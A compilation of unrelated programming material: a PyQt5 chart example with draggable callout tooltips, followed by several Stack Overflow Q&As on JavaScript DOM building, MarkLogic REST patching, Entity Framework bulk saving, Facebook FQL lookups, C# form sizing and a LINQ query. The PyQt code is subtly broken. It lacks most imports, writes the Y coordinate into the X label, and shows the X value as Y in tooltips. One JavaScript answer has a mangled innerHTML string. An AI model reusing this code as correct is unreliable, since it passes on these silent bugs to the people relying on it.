from PyQt5.QtWidgets import QApplication, QGraphicsItem, QGraphicsScene, QGraphicsSceneMouseEvent, \
    QGraphicsSimpleTextItem, QGraphicsView, QStyleOptionGraphicsItem, QWidget

class Callout(QGraphicsItem):

    def __init__(self, parent: QChart):
        super().__init__()
        self.m_chart: QChart = parent
        self.m_text: str = ''
        self.m_anchor: QPointF = QPointF()
        self.m_font: QFont = QFont()
        self.m_textRect: QRectF = QRectF()
        self.m_rect: QRectF = QRectF()

    def setText(self, text: str):
        self.m_text = text
        metrics = QFontMetrics(self.m_font)
        self.m_textRect = QRectF(metrics.boundingRect(QRect(0, 0, 150, 150), Qt.AlignLeft, self.m_text))
        self.m_textRect.translate(5, 5)
        self.prepareGeometryChange()
        self.m_rect = QRectF(self.m_textRect.adjusted(-5, -5, 5, 5))
        self.updateGeometry()

    def updateGeometry(self):
        self.prepareGeometryChange()
        self.setPos(self.m_chart.mapToPosition(self.m_anchor) + QPointF(10, -50))

    def boundingRect(self) -> QRectF:
        from_parent = self.mapFromParent(self.m_chart.mapToPosition(self.m_anchor))
        anchor = QPointF(from_parent)
        rect = QRectF()
        rect.setLeft(min(self.m_rect.left(), anchor.x()))
        rect.setRight(max(self.m_rect.right(), anchor.x()))
        rect.setTop(min(self.m_rect.top(), anchor.y()))
        rect.setBottom(max(self.m_rect.bottom(), anchor.y()))
        return rect

    def paint(self, painter: QPainter, option: QStyleOptionGraphicsItem, widget: QWidget):
        path = QPainterPath()
        mr = self.m_rect
        path.addRoundedRect(mr, 5, 5)

        anchor = QPointF(self.mapFromParent(self.m_chart.mapToPosition(self.m_anchor)))
        if not mr.contains(anchor):
            point1 = QPointF()
            point2 = QPointF()

            # establish the position of the anchor point in relation to self.m_rect
            above = anchor.y() <= mr.top()
            above_center = mr.top() < anchor.y() <= mr.center().y()
            below_center = mr.center().y() < anchor.y() <= mr.bottom()
            below = anchor.y() > mr.bottom()

            on_left = anchor.x() <= mr.left()
            left_of_center = mr.left() < anchor.x() <= mr.center().x()
            right_of_center = mr.center().x() < anchor.x() <= mr.right()
            on_right = anchor.x() > mr.right()

            # get the nearest self.m_rect corner.
            x = (on_right + right_of_center) * mr.width()
            y = (below + below_center) * mr.height()
            corner_case = (above and on_left) or (above and on_right) or (below and on_left) or (below and on_right)
            vertical = abs(anchor.x() - x) > abs(anchor.y() - y)
            horizontal = bool(not vertical)

            x1 = x + left_of_center * 10 - right_of_center * 20 + corner_case * horizontal * (
                    on_left * 10 - on_right * 20)
            y1 = y + above_center * 10 - below_center * 20 + corner_case * vertical * (above * 10 - below * 20)
            point1.setX(x1)
            point1.setY(y1)

            x2 = x + left_of_center * 20 - right_of_center * 10 + corner_case * horizontal * (
                    on_left * 20 - on_right * 10)
            y2 = y + above_center * 20 - below_center * 10 + corner_case * vertical * (above * 20 - below * 10)
            point2.setX(x2)
            point2.setY(y2)

            path.moveTo(point1)
            path.lineTo(anchor)
            path.lineTo(point2)
            path = path.simplified()

        painter.setPen(QColor(30, 30, 30))
        painter.setBrush(QColor(255, 255, 255))
        painter.drawPath(path)
        painter.drawText(self.m_textRect, self.m_text)

    def mousePressEvent(self, event: QGraphicsSceneMouseEvent):
        event.setAccepted(True)

    def mouseMoveEvent(self, event: QGraphicsSceneMouseEvent):
        if event.buttons() & Qt.LeftButton:
            self.setPos(self.mapToParent(event.pos() - event.buttonDownPos(Qt.LeftButton)))
            event.setAccepted(True)
        else:
            event.setAccepted(False)

class View(QGraphicsView):

    def __init__(self, parent=None):
        super().__init__(parent)
        self.m_callouts: List[Callout] = []
        self.setDragMode(QGraphicsView.NoDrag)
        self.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
        self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)

        # chart
        self.m_chart = QChart(parent)
        self.m_chart.setMinimumSize(640, 480)
        self.m_chart.setTitle("Hover the line to show callout. Click the line to make it stay")
        self.m_chart.legend().hide()
        series = QLineSeries()
        series.append(1, 3)
        series.append(4, 5)
        series.append(5, 4.5)
        series.append(7, 1)
        series.append(11, 2)
        self.m_chart.addSeries(series)

        series2 = QSplineSeries()
        series2.append(1.6, 1.4)
        series2.append(2.4, 3.5)
        series2.append(3.7, 2.5)
        series2.append(7, 4)
        series2.append(10, 2)
        self.m_chart.addSeries(series2)

        self.m_chart.createDefaultAxes()
        self.m_chart.setAcceptHoverEvents(True)

        self.setRenderHint(QPainter.Antialiasing)

        self.setScene(QGraphicsScene())
        self.scene().addItem(self.m_chart)

        self.m_coordX = QGraphicsSimpleTextItem(self.m_chart)
        self.m_coordX.setPos(self.m_chart.size().width() / 2 - 50, self.m_chart.size().height() - 20)
        self.m_coordX.setText("X: ")
        self.m_coordY = QGraphicsSimpleTextItem(self.m_chart)
        self.m_coordY.setPos(self.m_chart.size().width() / 2 + 50, self.m_chart.size().height() - 20)
        self.m_coordY.setText("Y: ")

        self.m_tooltip = Callout(self.m_chart)
        self.scene().addItem(self.m_tooltip)

        series.clicked.connect(self.keep_callout)
        series.hovered.connect(self.tooltip)
        series2.clicked.connect(self.keep_callout)
        series2.hovered.connect(self.tooltip)

        self.setMouseTracking(True)

    def resizeEvent(self, event: QResizeEvent):
        if scene := self.scene():
            scene.setSceneRect(QRectF(QPointF(0, 0), QSizeF(event.size())))
            self.m_chart.resize(QSizeF(event.size()))
            self.m_coordX.setPos(self.m_chart.size().width() / 2 - 50, self.m_chart.size().height() - 20)
            self.m_coordY.setPos(self.m_chart.size().width() / 2 + 50, self.m_chart.size().height() - 20)

            for callout in self.m_callouts:
                callout.updateGeometry()

        super().resizeEvent(event)

    def mouseMoveEvent(self, event: QMouseEvent):
        from_chart = self.m_chart.mapToValue(event.pos())
        self.m_coordX.setText(f"X: {from_chart.x()}")
        self.m_coordX.setText(f"Y: {from_chart.y()}")
        super().mouseMoveEvent(event)

    def keep_callout(self):
        self.m_callouts.append(self.m_tooltip)
        self.m_tooltip = Callout(self.m_chart)
        self.scene().addItem(self.m_tooltip)

    def tooltip(self, point: QPointF, state: bool):
        if not self.m_tooltip:
            self.m_tooltip = Callout(self.m_chart)

        if state:
            self.m_tooltip.setText(f"X: {point.x()} \nY: {point.x()} ")
            self.m_tooltip.m_anchor = point
            self.m_tooltip.setZValue(11)
            self.m_tooltip.updateGeometry()
            self.m_tooltip.show()
        else:
            self.m_tooltip.hide()

if __name__ == '__main__':
    app = QApplication(sys.argv)
    window = View()
    window.resize(640, 480)
    window.show()
    sys.exit(app.exec_())


text:
Q: JavaScript createElement help I have the following code:
function JS_Utils_BuildModal ()
        {

            var objModal = document.createElement("div");

            objModal.setAttribute('id', 'Modal');

            document.body.appendChild(objModal);

        }

What I want to do is add to it and create a series of DIVS and P's with some content so that when I run the function I get the following:

Sending Data

Thanks

A: Really it's just a matter of duplicating the createElement and appendChild parts of your code, and then setting the relevant properties on the other objects:
function JS_Utils_BuildModal ()
{
    var objModal   = document.createElement("div");
    var objContent = document.createElement("div");
    var objP       = document.createElement("p");
    objModal.setAttribute('id', 'Modal');
    objContent.className = 'Content';
    objP.innerText = "Sending Data";
    objModal.appendChild(objContent);
    objContent.appendChild(objP);
    document.body.appendChild(objModal);
}

Alternatively, you could do the whole thing/part of it with the innerHTML property, like so:
function JS_Utils_BuildModal ()
{
    var objModal   = document.createElement("div");
    objModal.setAttribute('id', 'Modal');
    objModal.innerHTML = '

Sending Data

';
    document.body.appendChild(objModal);
}

Using innerHTML is generally slower than directly manipulating the DOM, because it invokes the HTML parser.  It's still fast enough in most cases, though.

A: function JS_Utils_BuildModal()
{
    // Create parent div
    var objModal = document.createElement("div");
    objModal.setAttribute('id', 'Modal');
    document.body.appendChild(objModal);

    // Create modal div
    var objContent = document.createElement("div");
    objContent.setAttribute("id", "Content");
    objModal.appendChild(objContent);

    // Create sending data paragraph
    var objData = document.createElement("p");
    objContent.appendChild(objData);
}

The appendChild() method will work on any DOM element. document.body is a DOM element for the document's body.
Edit: Looks like Andy E already answered the question correctly.

A: about innerhtml, it is actually faster than dom:
http://www.quirksmode.org/dom/innerhtml.html


text:
Q: MarkLogic REST Resources API - patch multiple documents using only one POST request I have a question regarding documents patching in MarkLogic databse using REST API.
I have a service written in .NET Core and I use MarkLogic as my store for the data. In my case I must patch thousands of documents and if it is possible, I don't want to make a thousands of requests. To be more specific - I must add a few properties in certain part of JSON document.
Following this guides:

*

*REST/PATCH /v1/documents

*REST/POST /v1/documents

*Partially Updating Document Content or Metadata
I understand, that using PATCH request we can only update one document at a time so I tried to make a POST like this (for now only with one example patch operation)
POST http://host:port/v1/documents HTTP/1.1
Authorization: Basic autorization
Content-Type: multipart/mixed; boundary=BOUNDARY

--BOUNDARY
Content-Type: application/json
Content-Disposition: category=content; attachment; filename=/documents/first_document_to_update.json
X-HTTP-Method-Override: PATCH

{
  "patch": [
    {
      <patch property insert definition>
    }
  ]
}
--BOUNDARY--

but it just created a document with a content from BOUNDARY at uri from Content-Disposition header. I also tried to use X-HTTP-Method-Override header directly on a POST request, it didn't work out either - I got
{
  "errorResponse": {
    "statusCode": 400,
    "status": "Bad Request",
    "messageCode": "REST-REQUIREDPARAM",
    "message": "REST-REQUIREDPARAM: (err:FOER0000) Required parameter: uri"
  }
}

So my conclusion is that it is not possible to make a patch update of multiple documents using one POST request, am I right? Or I am missing something important?
MarkLogic version: 10

A: Why not make thousands of requests?
If you were do do that in a multi-threaded fashion, you can get a lot more done and don't have to worry about huge transactions either timing out or blowing some limit and erroring out. And you can spread the load across the cluster instead of using just one node to accomplish all of the work.
Even if you figure out how to do multiple in one shot, I would recommend doing it mutli-threaded with many small requests instead, similar to a CoRB job.


text:
Q: Entity Framework taking minutes to save 7500 entries I've got a pair of entity classes called signal and data:
public class Data
{
    public Data()
    {
    }

    public int DataID { get; set; }

    public double ElapsedTime { get; set; }
    public double X { get; set; }
    public double Y { get; set; }
    public double Value { get; set; }
}

public class Signal
{
    public Signal()
    {
        Data = new List<Data>();
    }

    public int SignalID { get; set; }

    public string Name { get; set; }
    public string Units { get; set; }
    public virtual List<Data> Data { get; set; }
}

During normal operation, I initialize the database context and create the necessary signals (12 of them), then dispose the context.
Later, data is being acquired from hardware and I initialize the context again, create Data objects, and add them to the appropriate Signal. The acquisition starts and stops but over the course of the whole thing we end up with 625 data points per signal (total of 7500 data points) in several short bursts over about 10 seconds in total. I have a separate thread responsible for saving data to the database, and the hope is that it won't lag far behind the acquisition thread. However, after the acquisition is finished, it takes 6-7 minutes for the data to finish being saved.
Below is the code being called for every 100 data objects. We dequeue a dictionary from the acquisition thread. The dictionary matches up signals with the next 100 data objects that need to be added to them. We then grab the matching signals from the database and add the appropriate data.
// Dequeue the next set of data to save
Dictionary<Signal, List<Data>> dataToSave = null;
while (MeasurementDataToSaveQueue.TryDequeue(out dataToSave) == false && MeasurementDataToSaveQueue.Count > 0)
    if (SequenceAborted || SequenceInProgress == false) break;

if (dataToSave != null && dataToSave.Count > 0)
{
    foreach (var pair in dataToSave)
    {
        Signal signal = dbContext.Signals.FirstOrDefault(S => S.SignalID == pair.Key.SignalID);
        signal.Data.AddRange(pair.Value);
    }
}

The code above takes 10-20ms per call, and keeps up with the acquisition just fine. However, once all 7500 data objects have been added to the appropriate signal, I call dbContext.SaveChanges() and that is what takes several minutes. I've tried saving every time this code runs instead, and each individual save is faster, but the total time is still 6-7 minutes. Is there any way to speed this up? It doesn't seem like it should take that long to update 7500 records.
Thanks for your help.

A: Using EntityFramework.BulkInsert should speed up performance significantly.


text:
Q: FQL Get (multiple) Facebook uid's from link How do you get a Facebook uid given a profile link e.g.
www.facebook.com/zuck -> uid = 4

Note: I know you can see an individual link from:
graph.facebook.com/zuck
However since I have several profile links I'm using FQL to request of multiple uid's in a single call.
I'm trying something along the lines of:
SELECT uid FROM user
WHERE profile_link = https://www.facebook.com/zuck OR
profile_link = https://www.facebook.com/ChrisHughes OR
profile_link = https://www.facebook.com/etc

Any ideas - is this possible?
Alternatively is there a way to batch multiple "graph.facebook.com/userName" basic queries in ONE call?
EDIT:
I've tried using straight jquery to query Facebook but I keep getting an error:

"Only POST is allowed for batch requests"

My Javascript jquery code is as follows:
var url = "https://graph.facebook.com";
var access_token = "theAccessToken&@#*#^#&$#*##$&*@123";
var postData = [{"method":"POST","relative_url":"zuck"},{"method":"POST","relative_url":"ChrisHughes"}];

$.ajax("https://graph.facebook.com/",{
    type: "POST",
    contentType: "application/x-www-form-urlencoded",
    data: {"access_token": access_token, "batch": postData},
    dataType: "jsonp"
}).fail(function(jqXHR, textStatus, errorThrown) {
    console.log(errorThrown);
}).done(function(data, textStatus, jqXHR) {
    console.log(data);
    console.log(textStatus);
    console.log(jqXHR);
});

Seems that I'm POST-ing to facebook "https" but why does that error come up??

A: Try this graph API query(Extra the username from the profile link first):
http://graph.facebook.com/?ids=zuck,ChrisHughes,etc&fields=id


text:
Q: Is there a way to make a Form fill x % of the screen? I wonder if there is a way to, instead of using pixels, adjusting the size of a form in C#? For example make Form1 fill 75% of the screen in width and 80% of the screen in height? I have experimented a bit with reading the Users screen resolution and then adjusting it from there, but I am searching for a different approach. I want to do this to solve the issue with different screen resolution, so I don't have to use scrollbars. Is there a way to do this or should I just keep my scrolls?

A: You'll want to use the Load event so you're not affected by automatic form scaling.  Like this:
    protected override void OnLoad(EventArgs e) {
        var scr = Screen.FromPoint(this.Location);
        this.Size = new Size((int)(scr.WorkingArea.Width * 0.75),
                             (int)(scr.WorkingArea.Height * 0.80));
        this.Location = new Point((scr.WorkingArea.Width - this.Width) / 2,
                                  (scr.WorkingArea.Height - this.Height) / 2);
        base.OnLoad(e);
    }

A: You can get the resolution of the screen using:
Rectangle rect = Screen.AllScreens[0].Bounds;
//Maybe you need to use WorkingArea instead of Bounds.

From there you can use the 80% of what you want. More information here: http://msdn.microsoft.com/en-us/library/system.windows.forms.screen.aspx


text:
Q: LINQ query doesn't return the single value I have this query and I want to return a single value which is the I.Id and I have a parameter which is filled with an Id that is sent from a Controller to the Dao(Where the Linq query is nested).
The problem is, that this query isn't just returning a value, is returning every fields in the table that this query produces and I just want the Id.
This is the query:
public InscriptionDetail GetInscriptionIdByPersonId(int id)
        {
            using (var db = new HIQTrainingEntities())
            {
                var inscription =
                        from i in db.Inscriptions
                        join c in db.Certifications on i.PersonId equals c.PersonId
                        where i.PersonId == id
                        select new InscriptionDetail
                        {
                            Id = i.Id,
                        };
                return inscription.FirstOrDefault();
                 }
        }

Can someone help me with this query ?
What's wrong ?

A: Your return type is of InscriptionDetail. If it is only the int id you need to return, why not change to the following?
public int GetInscriptionIdByPersonId(int personId)
{
    using (var db = new HIQTrainingEntities())
    {
        var inscription =
            from i in db.Inscriptions
            join c in db.Certifications on i.PersonId equals c.PersonId
            where i.PersonId == personId
            select i.Id;
        return inscription.FirstOrDefault();
     }
 }